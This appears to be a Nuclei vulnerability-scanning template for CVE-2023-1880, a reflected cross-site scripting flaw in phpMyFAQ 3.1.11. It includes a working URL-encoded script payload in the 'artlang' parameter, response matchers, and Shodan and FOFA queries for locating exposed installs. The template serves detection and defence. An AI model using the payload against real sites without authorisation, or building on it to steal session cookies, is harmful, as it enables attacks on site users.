CVE-2023-1880: Phpmyfaq v3.1.11 - Cross-Site Scripting

id: CVE-2023-1880

info:
  name: Phpmyfaq v3.1.11 - Cross-Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    Phpmyfaq v3.1.11 is vulnerable to reflected XSS in send2friend because the 'artlang' parameter is not sanitized.
  impact: |
    Unauthenticated attackers can inject malicious JavaScript through the unsanitized artlang parameter in send2friend functionality to steal user session cookies.
  remediation: Fixed in 3.1.12 Version.
  reference:
    - https://huntr.dev/bounties/ece5f051-674e-4919-b998-594714910f9e
    - https://nvd.nist.gov/vuln/detail/CVE-2023-1880
    - https://github.com/thorsten/phpmyfaq/commit/bbc5d4aa4a4375c14e34dd9fcad2042066fe476d
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-1880
    cwe-id: CWE-79
    epss-score: 0.01644
    epss-percentile: 0.75229
    cpe: cpe:2.3:a:phpmyfaq:phpmyfaq:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: phpmyfaq
    product: phpmyfaq
    shodan-query: http.html:"phpmyfaq"
    fofa-query: body="phpmyfaq"
  tags: cve2023,cve,huntr,xss,phpmyfaq,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/?action=send2friend&artlang=aaaa%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "phpmyfaq") && contains(body, "<script>alert(document.domain)</script>")'
          - 'contains(content_type, "text/html")'
        condition: and
# digest: 4a0a00473045022100844d87cf5ca67112845368a9a062cf345cb82e6c9593b15cd3ef514a594dfacd02201de224e90b4503ca7cffdeb4b99a46543fdac0dfd2d32ecadc106366de3bced3:922c64590222798bb761d5b6d8e72950

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